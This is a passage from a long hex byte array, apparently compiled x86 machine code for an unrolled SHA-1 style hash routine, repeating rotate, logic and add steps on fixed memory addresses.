0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x14, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x18, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x1C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x20, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x23, 0xC8, 0xF7, 0xD0, 0x23, 0xC2, 0x0B, 0xC1, 0x03, 0x05, 0x24, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xBE, 0xA1, 0xEB, 0xD9, 0x6E, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x28, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x2C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x30, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x34, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x38, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x3C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x40, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x44, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x48, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x4C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x50, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x54, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x58, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x5C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x60, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x64, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x68, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x6C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x70, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x33, 0xC1, 0x33, 0xC2, 0x03, 0x05, 0x74, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC9, 0x02, 0x89, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xBE, 0xDC, 0xBC, 0x1B, 0x8F, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x78, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x7C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x80, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x84, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x88, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0 x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x8C, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 0x40, 0x00, 0x89, 0x15, 0xAC, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0x9C, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA0, 0x42, 0x40, 0x00, 0xC1, 0xC1, 0x05, 0x03, 0xC1, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x89, 0x0D, 0xA8, 0x42, 0x40, 0x00, 0xC1, 0xCA, 0x02, 0x89, 0x15, 0xA4, 0x42, 0x40, 0x00, 0xA3, 0x9C, 0x42, 0x40, 0x00, 0xA1, 0xA0, 0x42, 0x40, 0x00, 0x8B, 0x0D, 0xA4, 0x42, 0x40, 0x00, 0x8B, 0x15, 0xA8, 0x42, 0x40, 0x00, 0x50, 0x23, 0xC1, 0x23, 0xCA, 0x0B, 0xC1, 0x59, 0x23, 0xCA, 0x0B, 0xC1, 0x03, 0x05, 0x90, 0x41, 0x40, 0x00, 0x03, 0xC6, 0x03, 0x05, 0xAC, 0x42, 